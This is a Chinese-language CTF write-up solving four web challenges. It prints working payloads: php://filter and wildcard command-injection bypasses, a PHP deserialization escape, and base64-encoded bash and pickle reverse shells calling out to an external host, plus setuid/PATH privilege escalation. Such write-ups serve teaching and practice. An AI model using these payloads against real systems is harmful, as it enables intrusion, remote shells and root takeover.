easy_php
文件包含,利用伪协议读取flag
但是过滤了很多东西
需要利用到filter伪协议的一个特性,它会对传入的内容进行一次解码
加上get传参也会进行一次url解码
所以把被过滤的base64进行二次url编码即可
base编码两次
%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34
Payload:
?file=php://filter/read=convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34-encode/resource=/flag.php
easy_rce
ls和/都没被过滤,但是cat就过滤的比较严格了
空格可以用$IFS绕过
ls$IFS/
可以看到flag位置
因为通配符?没被过滤
所以对于后面的文件名,要绕过flag.就比较简单了
全部用?代替即可
主要问题是cat命令
能够代替cat的命令被ban完了
但cat又不能直接用通配符
但是linux有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符
先看一下/bin下有没有cat
?c=ls$IFS/bin
有cat
所以可以在/bin下使用cat命令,即/bin/cat
此时cat就支持用通配符了
使用最终payload: ?c=/bin/?at$IFS/?????txt
ez_php
在这里测试了一下发现没什么利用的
然后根据给的提示访问一下/shell.php
反序列化
主要目的是把CTFer
里的$awarding
变成"pennant"
但是我们不能直接控制$awarding的值
只能控制work的值
这里还有一个filter方法
可以将okk变成Nook
那很明显就是字符串增多的字符串逃逸
我们需要的是awarding == "pennant"
所以构造s:8:”awarding”;s:7:”pennant”
闭合一下”;s:8:”awarding”;s:7:”pennant”;}
数一数是32个
所以payload:
payload=okkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokk";s:8:"awarding";s:7:"pennant";}&shell=ls /
看到逃逸成功了
给shell传入命令也回显了flag的位置
但是cat一下发现没有权限
那只能反弹shell提权了
反弹shell
shell=bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIyLjE1LjE1My8yMzMzIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'
然后开始提权
在/tmp目录下写一个333.c
echo '#include<unistd.h>
void main(){
setuid(0);
setuid(0);
system("cat /flag");
}' > 333.c
其中setuid(0);
:表示尝试将程序的用户ID设置为0,即超级用户(root)权限
然后执行
gcc 333.c -o 333
作用是使用 GCC 编译器将名为 333.c
的源代码文件编译成一个可执行文件,并将该可执行文件命名为 333
gcc 即GNU Compiler Collection 命令,用于编译 C 和 C++ 程序。
接下来修改环境变量
export PATH=/tmp:$PATH
将当前用户的环境变量 PATH
修改为新值 /tmp:$PATH
将 /tmp
目录添加到当前 PATH
变量的前面,以便在 shell 中优先搜索 /tmp
目录下的可执行文件
export
: 这是一个 shell 命令,用于将变量设置为环境变量,以便在当前 shell 会话及其子进程中可用。
/tmp
目录将成为我们 shell 查找可执行文件的第一个路径。这意味着如果您在 /tmp
目录下有可执行文件,系统将首先在这里查找,然后才会查找原来 PATH
中的其他目录。
然后执行即可
ez_python
进来后页面没有什么可利用的地方
但可以在响应头看到一个hint
访问/pick1e
还是什么也没有
在响应头仍然可以看到一个hint
看样子是一个密码,需要解密一下
网上搜一下,原来这个叫尊嘟假嘟语
找个翻译工具
得到LNYBZ=3yzkQ=
放到随波逐流里,分为二栏时得到
L3NyYzBkZQ==
再解密一次得到
/src0de
访问得到源代码
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
#路由处理函数,处理 pick1e cookie
@app.route('/pick1e')
def pick1e():
try:
username = "admin"
rsp = make_response("OK U @ %s " % username)
rsp.headers['hint'] = "Source in ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if pick1e:
if (b'R' in pick1e):
return 'NO REDUCE!!!'
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
class GWHT():
def __init__(self):
pass
if name == '__main__':
app.run('0.0.0.0', port=80)
审计一下
这个路由里就是将代码告诉我们,然后就没东西了
关键还是在/pick1e路由里
关键在这里
从cookie里接收pick1e
然后对其base64解码
最后利用pickle.loads函数进行反序列化
过滤了R
而且这里没有回显
所以利用反弹shell
对于opcode的构造还不是很会
但是可以去相关文章找过滤了R的opcode
然后改一下命令,再base64编码即可
import base64
opcode=import base64
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxx.xxx.xx/2333 0>&1"'
o.'''
print(base64.b64encode(opcode))
然后在/pick1e路由下利用cookie给pick1e传参
在服务器监听
nc -lvnp 2333
然后拿flag即可